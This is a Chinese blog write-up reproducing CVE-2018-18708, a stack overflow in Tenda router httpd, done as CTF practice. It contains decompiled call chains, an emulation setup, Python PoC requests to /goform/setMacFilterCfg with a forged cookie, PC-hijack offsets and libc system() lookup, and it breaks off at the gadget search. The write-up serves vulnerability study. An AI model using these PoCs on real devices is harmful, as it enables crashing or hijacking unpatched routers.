CVE-2018-18708

First Post:

Last Update:

Word Count:
5.4k

Read Time:
30 min

CVE-2018-18708 复现

该题在nu1lctf2020 的pwn中已经出现,为babyrouter,不妨来复现复现该cve。

工具+环境

下载

cutter

ida

gdb + pwndbg

qemu-arm

python

远程实验环境

docker + qemu-arm

漏洞分析

简要概述

CVE-2018-18708,多款Tenda产品中的httpd存在缓冲区溢出漏洞。攻击者可利用该漏洞造成拒绝服务(覆盖函数的返回地址)。以下产品和版本受到影响:Tenda AC7 V15.03.06.44_CN版本;AC9 V15.03.05.19(6318)_CN版本;AC10 V15.03.06.23_CN版本;AC15 V15.03.05.19_CN版本;AC18 V15.03.05.19(6318)_CN版本。

漏洞点

sub_BE73C

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
signed int __fastcall vul_end(const char *a1, char *a2) # offset 000BE73C
{
signed int v2; // r3
char *dest; // [sp+8h] [bp-3Ch]
char *str; // [sp+Ch] [bp-38h]
int v6; // [sp+10h] [bp-34h]
int v7; // [sp+14h] [bp-30h]
int v8; // [sp+18h] [bp-2Ch]
int v9; // [sp+1Ch] [bp-28h]
int s2; // [sp+20h] [bp-24h]
int v11; // [sp+24h] [bp-20h]
int v12; // [sp+28h] [bp-1Ch]
int v13; // [sp+2Ch] [bp-18h]
char v14; // [sp+32h] [bp-12h]
char v15; // [sp+33h] [bp-11h]
char *src; // [sp+34h] [bp-10h]

str = (char *)a1;
dest = a2;
src = strchr(a1, 13); //检测deviceList内容是否包含’\r’,随后进入分支执行漏洞代码。
if ( src )
{
*src++ = 0;
v6 = 0;
v7 = 0;
v8 = 0;
v9 = 0;
if ( GetValue("cgi_debug", &v6) && !strcmp("on", (const char *)&v6) )
{
v15 = 1;
printf("%s[%s:%s:%d] %s", off_FCFEC[0], "cgi", "parse_macfilter_rule", 807, off_FCFE4[0]);
printf("parase rule: name == %s, mac == %s\n\x1B[0m", str, src);
}
strcpy(dest + 32, str); // 漏洞点vul
strcpy(dest, src); // 漏洞点
v2 = 0;
}
else
{
s2 = 0;
v11 = 0;
v12 = 0;
v13 = 0;
if ( GetValue("cgi_debug", &s2) && !strcmp("on", (const char *)&s2) )
{
v14 = 2;
printf("%s[%s:%s:%d] %s", off_FCFEC[0], "cgi", "parse_macfilter_rule", 803, off_FCFE8[0]);
printf("source_rule error: %s!\n\x1B[0m", str);
}
v2 = 2;
}
return v2;
}

从以上可以很容易看出漏洞点在strcpy函数, 那str是通过参数一传入的,进行逆向跟踪。

sub_BDA1C

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
int __fastcall sub_BDA1C(int a1, const char *vul_str, int a3)
{
int v4; // [sp+Ch] [bp-1F0h]
const char *v5; // [sp+10h] [bp-1ECh]
int v6; // [sp+14h] [bp-1E8h]
int v7; // [sp+1Ch] [bp-1E0h]
int v8; // [sp+20h] [bp-1DCh]
int v9; // [sp+24h] [bp-1D8h]
int v10; // [sp+28h] [bp-1D4h]
int v11; // [sp+2Ch] [bp-1D0h]
int v12; // [sp+30h] [bp-1CCh]
int v13; // [sp+34h] [bp-1C8h]
int v14; // [sp+38h] [bp-1C4h]
int s2; // [sp+3Ch] [bp-1C0h]
int v16; // [sp+40h] [bp-1BCh]
int v17; // [sp+44h] [bp-1B8h]
int v18; // [sp+48h] [bp-1B4h]
char v19; // [sp+4Ch] [bp-1B0h]
char s; // [sp+CCh] [bp-130h]
char v21; // [sp+14Ch] [bp-B0h]
int v22; // [sp+16Ch] [bp-90h]
char v23; // [sp+1EDh] [bp-Fh]
char v24; // [sp+1EEh] [bp-Eh]
char v25; // [sp+1EFh] [bp-Dh]

v6 = a1;
v5 = vul_str;
v4 = a3;
memset(&s, 0, 0x80u);
memset(&v19, 0, 0x80u);
s2 = 0;
v16 = 0;
v17 = 0;
v18 = 0;
if ( GetValue("cgi_debug", &s2) && !strcmp("on", (const char *)&s2) )
{
v25 = 1;
printf("%s[%s:%s:%d] %s", off_FCFEC[0], "cgi", "set_macfilter_rules_by_one", 667, off_FCFE4[0]);
printf("set macfilter rules by one, source_rule == %s, index == %d\n\x1B[0m", v5, v4);
}
memset(&v21, 0, 0xA0u);
vul_end(v5, &v21); // 调用, v5为传入后strcpy的参数
v11 = 0;
v12 = 0;
v13 = 0;
v14 = 0;
if ( GetValue("cgi_debug", &v11) && !strcmp("on", (const char *)&v11) )
{
v24 = 1;
printf("%s[%s:%s:%d] %s", off_FCFEC[0], "cgi", "set_macfilter_rules_by_one", 671, off_FCFE4[0]);
printf("get rule%d: name == %s, mac == %s\n\x1B[0m", v4, &v22, &v21);
}
snprintf(&s, 0x80u, "macfilter.%s.list%d", v6, v4);
snprintf(&v19, 0x80u, "%s", &v21);
v7 = 0;
v8 = 0;
v9 = 0;
v10 = 0;
if ( GetValue("cgi_debug", &v7) && !strcmp("on", (const char *)&v7) )
{
v23 = 1;
printf("%s[%s:%s:%d] %s", off_FCFEC[0], "cgi", "set_macfilter_rules_by_one", 675, off_FCFE4[0]);
printf("set rule: %s == %s\n\x1B[0m", &s, &v19);
}
SetValue(&s, &v19);
if ( (_BYTE)v22 )
sub_C2FD4((int)&v22, (int)&v21);
return 0;
}

字符串也是该函是第二个参数进行传入的,继续逆跟踪。

sub_BD758

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
int __fastcall sub_BD758(int a1, char *vul_str)
{
const char *s; // [sp+8h] [bp-44h]
int v4; // [sp+Ch] [bp-40h]
int v5; // [sp+14h] [bp-38h]
int v6; // [sp+18h] [bp-34h]
int v7; // [sp+1Ch] [bp-30h]
int v8; // [sp+20h] [bp-2Ch]
int s2; // [sp+24h] [bp-28h]
int v10; // [sp+28h] [bp-24h]
int v11; // [sp+2Ch] [bp-20h]
int v12; // [sp+30h] [bp-1Ch]
char v13; // [sp+36h] [bp-16h]
char v14; // [sp+37h] [bp-15h]
char *v15; // [sp+38h] [bp-14h]
int v16; // [sp+3Ch] [bp-10h]

v4 = a1;
s = vul_str;
v16 = 1;
v15 = 0;
s2 = 0;
v10 = 0;
v11 = 0;
v12 = 0;
if ( GetValue("cgi_debug", &s2) && !strcmp("on", (const char *)&s2) )
{
v14 = 1;
printf("%s[%s:%s:%d] %s", off_FCFEC[0], "cgi", "set_macfilter_rules", 617, off_FCFE4[0]);
printf("set macfilter rules\n\x1B[0m");
}
sub_BDE40(v4);
if ( *s )
{
while ( 1 )
{
v15 = strchr(s, 10);
if ( !v15 )
break;
*v15++ = 0;
vul_2(v4, s, v16); // 调用vul函数, s为传入的字符串
s = v15;
++v16;
}
vul_2(v4, s, v16); // 调用vul函数, s为传入的字符串
sub_BE9DC(v4, v16);
}
else
{
v5 = 0;
v6 = 0;
v7 = 0;
v8 = 0;
if ( GetValue("cgi_debug", &v5) && !strcmp("on", (const char *)&v5) )
{
v13 = 1;
printf("%s[%s:%s:%d] %s", off_FCFEC[0], "cgi", "set_macfilter_rules", 623, off_FCFE4[0]);
printf("rule list is NULL!\n\x1B[0m");
}
}
return 0;
}

字符串是该函数的二个参数进行传入的,继续逆跟踪。

formSetMacFilterCfg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
int __fastcall formSetMacFilterCfg(int a1) // 000BCB9C
{
int v1; // r0
int v3; // [sp+14h] [bp-218h]
int v4; // [sp+1Ch] [bp-210h]
int v5; // [sp+20h] [bp-20Ch]
int v6; // [sp+24h] [bp-208h]
int v7; // [sp+28h] [bp-204h]
int v8; // [sp+2Ch] [bp-200h]
int v9; // [sp+30h] [bp-1FCh]
int v10; // [sp+34h] [bp-1F8h]
int v11; // [sp+38h] [bp-1F4h]
int v12; // [sp+3Ch] [bp-1F0h]
int v13; // [sp+40h] [bp-1ECh]
int v14; // [sp+44h] [bp-1E8h]
int v15; // [sp+48h] [bp-1E4h]
int v16; // [sp+4Ch] [bp-1E0h]
int v17; // [sp+50h] [bp-1DCh]
int v18; // [sp+54h] [bp-1D8h]
int v19; // [sp+58h] [bp-1D4h]
int s2; // [sp+5Ch] [bp-1D0h]
int v21; // [sp+60h] [bp-1CCh]
int v22; // [sp+64h] [bp-1C8h]
int v23; // [sp+68h] [bp-1C4h]
char v24; // [sp+6Ch] [bp-1C0h]
char s; // [sp+ECh] [bp-140h]
int v26; // [sp+1ECh] [bp-40h]
int v27; // [sp+1F0h] [bp-3Ch]
int v28; // [sp+1F4h] [bp-38h]
int v29; // [sp+1F8h] [bp-34h]
int v30; // [sp+1FCh] [bp-30h]
int v31; // [sp+200h] [bp-2Ch]
int v32; // [sp+204h] [bp-28h]
int v33; // [sp+208h] [bp-24h]
char v34; // [sp+20Fh] [bp-1Dh]
char v35; // [sp+210h] [bp-1Ch]
char v36; // [sp+211h] [bp-1Bh]
char v37; // [sp+212h] [bp-1Ah]
char v38; // [sp+213h] [bp-19h]
char *vul_str; // [sp+214h] [bp-18h]
void *v40; // [sp+218h] [bp-14h]
int v41; // [sp+21Ch] [bp-10h]

v3 = a1;
v40 = 0;
vul_str = 0;
v41 = 0;
v26 = 0;
v27 = 0;
v28 = 0;
v29 = 0;
v30 = 0;
v31 = 0;
v32 = 0;
v33 = 0;
memset(&s, 0, 0x100u);
memset(&v24, 0, 0x80u);
v40 = sub_2B794(v3, (int)"macFilterType", (int)&unk_F0BA4);
v41 = sub_BD34C(v40); // 调用判断函数
if ( v41 ) // 判断v41
{
s2 = 0;
v21 = 0;
v22 = 0;
v23 = 0;
if ( GetValue("cgi_debug", &s2) && !strcmp("on", (const char *)&s2) )
{
v38 = 2;
printf("%s[%s:%s:%d] %s", off_FCFEC[0], "cgi", "formSetMacFilterCfg", 500, off_FCFE8[0]);
printf("set mac filter mode error!\n\x1B[0m");
}
}
else
{
vul_str = (char *)sub_2B794(v3, (int)"deviceList", (int)&unk_F0BA4);
v41 = vul_3((int)v40, vul_str); // 漏洞调用点
if ( v41 )
{
v16 = 0;
v17 = 0;
v18 = 0;
v19 = 0;
if ( GetValue("cgi_debug", &v16) && !strcmp("on", (const char *)&v16) )
{
v37 = 2;
printf("%s[%s:%s:%d] %s", off_FCFEC[0], "cgi", "formSetMacFilterCfg", 508, off_FCFE8[0]);
printf("set mac filter rules error!\n\x1B[0m");
}
}
else
{
sub_C3E80();
v1 = sub_BED1C(v40);
if ( CommitCfm(v1) )
{
send_msg_to_netctrl(9, "op=5");
GetValue("wl2g.public.enable", &v26);
if ( !strcmp("1", (const char *)&v26) )
{
v8 = 0;
v9 = 0;
v10 = 0;
v11 = 0;
if ( GetValue("cgi_debug", &v8) && !strcmp("on", (const char *)&v8) )
{
v35 = 1;
printf("%s[%s:%s:%d] %s", off_FCFEC[0], "cgi", "formSetMacFilterCfg", 528, off_FCFE4[0]);
printf("2.4G is enabled, sending msg to 2.4G wifi refresh!\n\x1B[0m");
}
snprintf(&v24, 0x80u, "op=%d,wl_rate=%d", 11, 24);
send_msg_to_netctrl(19, &v24);
}
GetValue("wl5g.public.enable", &v26);
if ( !strcmp("1", (const char *)&v26) )
{
v4 = 0;
v5 = 0;
v6 = 0;
v7 = 0;
if ( GetValue("cgi_debug", &v4) && !strcmp("on", (const char *)&v4) )
{
v34 = 1;
printf("%s[%s:%s:%d] %s", off_FCFEC[0], "cgi", "formSetMacFilterCfg", 535, off_FCFE4[0]);
printf("5G is enabled, sending msg to 5G wifi refresh!\n\x1B[0m");
}
snprintf(&v24, 0x80u, "op=%d,wl_rate=%d", 11, 5);
send_msg_to_netctrl(19, &v24);
}
}
else
{
v12 = 0;
v13 = 0;
v14 = 0;
v15 = 0;
if ( GetValue("cgi_debug", &v12) && !strcmp("on", (const char *)&v12) )
{
v36 = 2;
printf("%s[%s:%s:%d] %s", off_FCFEC[0], "cgi", "formSetMacFilterCfg", 519, off_FCFE8[0]);
printf("cfm commit error!\n\x1B[0m");
}
v41 = 1;
}
}
}
snprintf(&s, 0x100u, "{\"errCode\":%d}", v41);
return sub_9C66C(v3, &s);
}

进入目标分支后,再从deviceList获取传入v39变量,根据上一节的分析该值将被用作strcpy的参数。

然而这里有个判断,要想执行到前面我们所跟踪到的内容,必须先绕过一个if判断,也就是我们必须要得使v41这个变量值为0,然而该值是调用sub_BD34C函数的一个返回值,咱们先跟进sub_BD34C函数看看。

sub_BD34C

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
signed int __fastcall sub_BD34C(char *a1)
{
signed int v1; // r3
char *v3; // [sp+Ch] [bp-48h]
int v4; // [sp+10h] [bp-44h]
int v5; // [sp+14h] [bp-40h]
int v6; // [sp+18h] [bp-3Ch]
int v7; // [sp+1Ch] [bp-38h]
int v8; // [sp+20h] [bp-34h]
int v9; // [sp+24h] [bp-30h]
int v10; // [sp+28h] [bp-2Ch]
int v11; // [sp+2Ch] [bp-28h]
int s2; // [sp+30h] [bp-24h]
int v13; // [sp+34h] [bp-20h]
int v14; // [sp+38h] [bp-1Ch]
int v15; // [sp+3Ch] [bp-18h]
char v16; // [sp+41h] [bp-13h]
char v17; // [sp+42h] [bp-12h]
char v18; // [sp+43h] [bp-11h]
const char *v19; // [sp+44h] [bp-10h]

v3 = a1;
v19 = 0;
s2 = 0;
v13 = 0;
v14 = 0;
v15 = 0;
if ( GetValue("cgi_debug", &s2) && !strcmp("on", (const char *)&s2) )
{
v18 = 1;
printf("%s[%s:%s:%d] %s", off_FCFEC[0], "cgi", "set_macfilter_mode", 566, off_FCFE4[0]);
printf("get mac filter mode == %s\n\x1B[0m", v3);
}
if ( *v3 )
{
if ( !strcmp("black", v3) || !strcmp("white", v3) ) // 参数字符串判断
{
SetValue("macfilter.mode", v3);
if ( !strcmp("black", v3) )
v19 = "deny";
else
v19 = "allow";
SetValue("wl2g.ssid0.macmode", v19);
SetValue("wl5g.ssid0.macmode", v19);
v1 = 0; //设置返回值为0
}
else
{
v4 = 0;
v5 = 0;
v6 = 0;
v7 = 0;
if ( GetValue("cgi_debug", &v4) && !strcmp("on", (const char *)&v4) )
{
v16 = 2;
printf("%s[%s:%s:%d] %s", off_FCFEC[0], "cgi", "set_macfilter_mode", 575, off_FCFE8[0]);
printf("got wrong mac filter mode: %s!\n\x1B[0m", v3);
}
v1 = 2;
}
}
else
{
v8 = 0;
v9 = 0;
v10 = 0;
v11 = 0;
if ( GetValue("cgi_debug", &v8) && !strcmp("on", (const char *)&v8) )
{
v17 = 2;
printf("%s[%s:%s:%d] %s", off_FCFEC[0], "cgi", "set_macfilter_mode", 569, off_FCFE8[0]);
printf("got mac filter mode failed!\n\x1B[0m");
}
v1 = 2;
}
return v1;
}

以上逻辑是,根据传入的参数来进行字符串判断,若传入参数字符串为black或者white就会使返回值为0,那么就可以执行到漏洞点。

然而sub_2B794函数是解析字符串返回对应的字符串,类似与json解析,根据key值找value。

sub_2B794

1
2
3
4
5
6
7
8
9
10
11
12
13
void *__fastcall sub_2B794(int a1, int a2, int a3)
{
int v5; // [sp+4h] [bp-20h]
_DWORD *v6; // [sp+14h] [bp-10h]

v5 = a3;
v6 = sub_1F8FC(*(_DWORD *)(a1 + 32), (char *)a2);
if ( !v6 )
return (void *)v5;
if ( (*((unsigned __int16 *)v6 + 10) << 16) | *((unsigned __int16 *)v6 + 9) )
return (void *)((*((unsigned __int16 *)v6 + 10) << 16) | *((unsigned __int16 *)v6 + 9));
return &unk_D8440;
}

那么什么函数会调用formSetMacFilterCfg函数呢?继续跟踪调用函数。

sub_41F18

1
2
3
4
5
6
7
8
9
10
int sub_41F18() 
{
...
sub_16EF4("AdvSetNat", formNatSet);
sub_FE28("NatSet", aspNatSet);
sub_16EF4("getMacFilterCfg", formGetMacFilterCfg);
sub_16EF4("setMacFilterCfg", formSetMacFilterCfg);
sub_16EF4("parentControlEn", formSetParentControlEnable);
...
}

好像没发现啥,继续往上跟踪

sub_2E6F4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
signed int sub_2E6F4()
{
int v0; // r0
size_t v1; // r3
size_t v2; // r3
signed int v3; // r3
char s; // [sp+8h] [bp-194h]
char dest; // [sp+88h] [bp-114h]
char v7; // [sp+108h] [bp-94h]
struct in_addr inp; // [sp+188h] [bp-14h]
char *v9; // [sp+18Ch] [bp-10h]

v9 = 0;
memset(&s, 0, 0x80u);
v0 = doSystemCmd("echo 0 > /proc/sys/net/ipv4/tcp_timestamps");
sub_1B3DC(v0);
inet_aton((const char *)&g_lan_ip, &inp);
strcpy(&dest, off_FB76C);
sub_12238(&dest);
v9 = inet_ntoa(inp);
if ( strlen(v9) + 1 > 0x7F )
v1 = 128;
else
v1 = strlen(v9) + 1;
sub_19354(&s, v9, v1);
sub_2CF20(&s);
if ( strlen(&v7) + 1 > 0x7F )
v2 = 128;
else
v2 = strlen(&v7) + 1;
sub_19354(&s, &v7, v2);
sub_2CE84(&s);
sub_121D0("main.html");
sub_1F268(off_FB770);
if ( sub_29218(port, retries) >= 0 )
{
sub_176B0(&unk_D8894, 0, 0, R7WebsSecurityHandler, 1);
sub_176B0("/goform", 0, 0, websFormHandler, 0);
sub_176B0("/cgi-bin", 0, 0, webs_Tenda_CGI_BIN_Handler, 0);
sub_176B0(&unk_D8894, 0, 0, websDefaultHandler, 2);
sub_41F18(); // call vul hunc
sub_176B0("/", 0, 0, sub_2E9D8, 0);
v3 = 0;
}
else
{
printf("%s %d: websOpenServer failed\n", "initWebs", 499);
v3 = -1;
}
return v3;
}

通过gdb下断点确定访问“/goform/setMacFilterCfg”时会进入formSetMacfiltercfg函数。

再继续网上跟踪就是必须运行的代码块了,如下。

sub_2E128

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
signed int __fastcall sub_2E128(int a1, int a2)
{
...
init_core_dump(v2);
v3 = puts("\n\nYes:\n\n ****** WeLoveLinux****** \n\n Welcome to ...");
sub_305FC(v3);
v4 = sleep(1u);
v5 = ConnectCfm(v4);
sub_100D8(0, 61440, 1, v5);
memset(&s, 0, 0x80u);
if ( !GetValue("lan.webiplansslen", &s) )
strcpy(&s, "0");
sslenable = atoi(&s);
if ( !GetValue("lan.webport", &s) )
strcpy(&s, "80");
if ( !GetValue("lan.webipen", &dest) )
strcpy(&dest, "0");
if ( !strcmp((const char *)&dest, "1") )
{
sslport = atoi(&s);
port = atoi(&s);
}
v6 = getLanIfName();
if ( getIfIp(v6, &v21) < 0 )
{
GetValue("lan.ip", &s);
strcpy(g_lan_ip, &s);
memset(&v17, 0, 0x50u);
if ( !tpi_lan_dhcpc_get_ipinfo_and_status(&v17) && v17 )
vos_strcpy(g_lan_ip, &v17);
}
else
{
vos_strcpy(g_lan_ip, &v21);
}
memset(&v19, 0, 9u);
v7 = inet_addr(g_lan_ip);
v19 = (unsigned __int8)v19 | (v7 << 8);
v20 = HIBYTE(v7);
tpi_talk_to_kernel(5, &v19, &v18, 0, 0, 0, v15, v16);
sub_2EA60(1);
sub_2EA60(0);
getpid();
doSystemCmd("echo %d > %s");
if ( sub_2E6F4() >= 0 ) // call our func
{
memset(&loginUserInfo, 0, 0x6Cu);
signal(15, (__sighandler_t)sub_2DEC0);
signal(9, (__sighandler_t)sub_2DEC0);
signal(14, (__sighandler_t)sub_2DF48);
alarm(0x3Cu);
v35 = 0;
mallopt(-1, 0);
mallopt(-3, 2048);
v9 = getpid();
v34 = v9;
while ( !dword_FD1C0 )
{
v10 = sub_1BFF4(-1, 1000);
if ( v10 > 0 )
v10 = sub_1C4F0(-1);
v11 = sub_11570(v10);
v9 = sub_2DD68(v11);
if ( !(++v35 % 100) )
v9 = malloc_trim(0);
}
if ( sslenable )
{
v12 = sub_1EF9C(v9);
}
else
{
v13 = sub_2940C(v9);
v12 = sub_1B47C(v13);
}
sub_10258(v12);
v8 = 0;
}
else
{
puts("main -> initWebs failed");
v8 = -1;
}
return v8;
}

触发链

sub_2E128 -> sub_2E6F4 ->sub_41F18 -> formSetMacFilterCfg -> sub_BD758 -> sub_BDA1C -> sub_BE73C

那么现在我们就可以访问“/goform/setMacFilterCfg”时会进入formSetMacfiltercfg函数,传入类似与json的数据进行解析,则会将value值传入漏洞触发点。

payload

post 数据, rur = ‘/goform/setMacFilterCfg’

1
{"macFilterType": "white", "deviceList": payload}

漏洞调试

准备

编写qemu-arm启动脚本

1
2
3
4
#!/bin/sh
brctl addbr br0
ifconfig br0 10.10.10.10 up
qemu-arm-static -g 1234 -L ./pwn ./pwn/httpd

启动log

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌[logan☮arch]-(~/share/nu1l/babyroute/docker)
└> sudo ./start.sh
[sudo] password for logan:
init_core_dump 1816: rlim_cur = -1, rlim_max = -1
init_core_dump 1825: open core dump success
init_core_dump 1834: rlim_cur = 5242880, rlim_max = 5242880

Yes:

****** WeLoveLinux******

Welcome to ...
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
create socket fail -1
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
[httpd][debug]----------------------------webs.c,157
httpd listen ip = 10.10.10.10 port = 80
webs: Listening for HTTP requests at address 10.10.10.10

启动后gdb远程调试

1
gdb-multiarch

设置 架构为arm

远程调试端口为1234

1
2
3
4
pwndbg> set architecture arm
The target architecture is set to "arm".
pwndbg> target remote 127.0.0.1:1234
Remote debugging using 127.0.0.1:1234

在漏洞函数0xC2FD4处下短点

1
2
pwndbg> b *0xC2FD4
Breakpoint 1 at 0xc2fd4

exp

1
2
3
4
5
6
7
8
#! /usr/bin/python3
import requests

url = "http://10.10.10.10/goform/setMacFilterCfg"
p = 'A' * 0x1000
d = {"macFilterType": "white", "deviceList": '\r'+ 'A' * 0x1000}
r = requests.post(url, d)
print(r.text)

log输出如下

1
2
3
┌[logan☮arch]-(~/share/nu1l/babyroute)
└> python poc
{"errCode":2}

发现不能运行到我们的位置,进行再调试调试看看是那块没有绕过。重新下断电在formSetMacFilterCfg函数,偏移为: 000BCB9C

发现能够调用到formSetMacFilterCfg函数,但没法继续调用下一个函数,再来分析分析还有什么条件没有绕过。

1
2
3
4
5
6
7
8
9
10
11
  0xbd3a0    sub    r3, fp, #0x24
0xbd3a4 ldr r2, [pc, #0x36c]
0xbd3a8 add r2, r4, r2
0xbd3ac mov r0, r2
0xbd3b0 mov r1, r3
► 0xbd3b4 bl #0xf2f8 <0xf2f8>

0xbd3b8 mov r3, r0
0xbd3bc cmp r3, #0
0xbd3c0 beq #0xbd458 <0xbd458>

执行到GetValue的时候, 会出现http响应错误,然而该函数是调用lib的,只能先分析一下lib。

通过分析lib中的GetValue函数,会议cookie值检测,需要包含password等字段,内容随便伪造。

poc如下

触发poc

1
2
3
4
5
6
7
8
9
#! /usr/bin/python3
import requests

url = "http://10.10.10.10/goform/setMacFilterCfg"
c = {"Cookie":"password=0"}
p = 'A' * 0x1000
d = {"macFilterType": "black", "deviceList": '\r'+ 'A' * 0x1000}
r = requests.post(url, cookies = c, data = d)
print(r.text)

漏洞触发如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
*R0   0x0
*R1 0x3ffef110 ◂— 0
*R2 0x3ff4c020 ◂— stm r0!, {r5}
*R3 0x0
*R4 0x41414141 ('AAAA')
R5 0x11bf40 ◂— str r7, [r5, #0x70] /* 0x666f672f; '/goform/setMacFilterCfg' */
R6 0x1
R7 0x408007fb ◂— 0x41414141 ('AAAA')
R8 0xe968 ◂— stm r0!, {r0, r2, r3}
R9 0x2e128 ◂— ldr r0, [pc, #0x40]
R10 0x40800668 ◂— 0x41414141 ('AAAA')
*R11 0x41414141 ('AAAA')
*R12 0x3ff47edc —▸ 0x3ff3da50 ◂— adds r0, #0
*SP 0x40800098 ◂— 0x41414141 ('AAAA')
*PC 0x41414140 ('@AAA')
───────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────
Invalid address 0x41414140

这时发现,已经修改了PC寄存器,实现了劫持。

漏洞利用

接下来就计算便宜找system函数了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
─────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────
R0 0x407fffe4 ◂— 0x0
R1 0x11ee31 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC'
R2 0x407fffe4 ◂— 0x0
R3 0x11ee31 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC'
R4 0xfab18 —▸ 0xfa9d0 ◂— 1
R5 0x11c0e0 ◂— strbtvs r6, [pc], -pc, lsr #14 /* 0x666f672f; '/goform/setMacFilterCfg' */
R6 0x1
R7 0x408007fb ◂— './pwn/httpd'
R8 0xe968 ◂— mov ip, sp
R9 0x2e128 ◂— push {r4, fp, lr}
R10 0x40800668 ◂— 0x0
R11 0x407ffe94 —▸ 0xbdb80 ◂— sub r3, fp, #0x1d0
R12 0xfaf60 —▸ 0x3fdda508 ◂— mov r3, r0
SP 0x407ffe50 ◂— 0x0
*PC 0xbe9a4 ◂— bl #0xf640
──────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────
0xbe990 bl #0xf640 <0xf640>

0xbe994 ldr r2, [fp, #-0x3c]
0xbe998 ldr r3, [fp, #-0x10]
0xbe99c mov r0, r2
0xbe9a0 mov r1, r3
► 0xbe9a4 bl #0xf640 <0xf640>

1
2
3
4
5
6
7
8
65:0194│ r0    0x407fffe4 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC'
... ↓
74:01d0│ 0x40800020 ◂— 'BBBBCCCC'
75:01d4│ 0x40800024 ◂— 'CCCC'
76:01d8│ r3-1 0x40800028 ◂— 0x0
... ↓
8d:0234│ 0x40800084 ◂— 0x1f
8e:0238│ 0x40800088 —▸ 0xf0bc8 ◂— ldmdbvs r6!, {r2, r5, r6, r8, sl, sp, lr} ^ /* 'deviceList' */

堆栈数据如上,由于是如下进行弹堆栈的,需要再填充(0x238 - 0x1d4)个字节才可以修爱pc寄存器,实现劫持。

1
2
3
.text:000BE9AC                 MOV             R0, R3
.text:000BE9B0 SUB SP, R11, #8
.text:000BE9B4 LDMFD SP!, {R4,R11,PC}

重新修改poc

1
2
3
4
5
6
7
8
9
10
11
12
#! /usr/bin/python3
import requests

url = "http://10.10.10.10/goform/setMacFilterCfg"
c = {"Cookie":"password=0"}
p = 'A' * 0xA8
p += 'DDDD'
p += 'EEEE'
p += 'FFFF'

d = {"macFilterType": "black", "deviceList": '\r'+ p}
r = requests.post(url, cookies = c, data = d)

运行如下,那么就可以知道在哪可以实现修改pc寄存器了。

1
2
3
4
5
6
7
*R11  0x45454545 ('EEEE')
*R12 0x3ff47edc —▸ 0x3ff3da50 ◂— mov r3, r0
*SP 0x40800098 ◂— 'GGGGHHHH'
*PC 0x46464646 ('FFFF')
──────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────
Invalid address 0x46464646

由于程序没有开启alsr与pie那么glibc中的基址是固定的。

直接算获取system地址。vmmap获取glibc基址为0xf659b000

在libc中找到system函数偏移

1
2
3
4
5
┌[logan☮arch]-(~/share/nu1l/babyroute)
└> readelf -s docker/pwn/lib/libc.so.0 | grep system
433: 0005a270 348 FUNC WEAK DEFAULT 7 system
904: 00047b38 80 FUNC GLOBAL DEFAULT 7 svcerr_systemerr
1394: 0005a270 348 FUNC GLOBAL DEFAULT 7 __libc_syste

这里记得检查下CPSR寄存器的T位,因为栈上内容弹出到PC寄存器时,其最低有效位(LSB)将被写入CPSR寄存器的T位,而PC本身的LSB被设置为0。如果T位值为1,需要在地址上加一还原。

1
2
3
4
pwndbg> p/t $cpsr
$1 = 1100000000000000000000000010000
pwndbg> cyclic -l taab
176

寻找gadgets

gadget1

用于修改r3寄存器

1
2
3
4
5
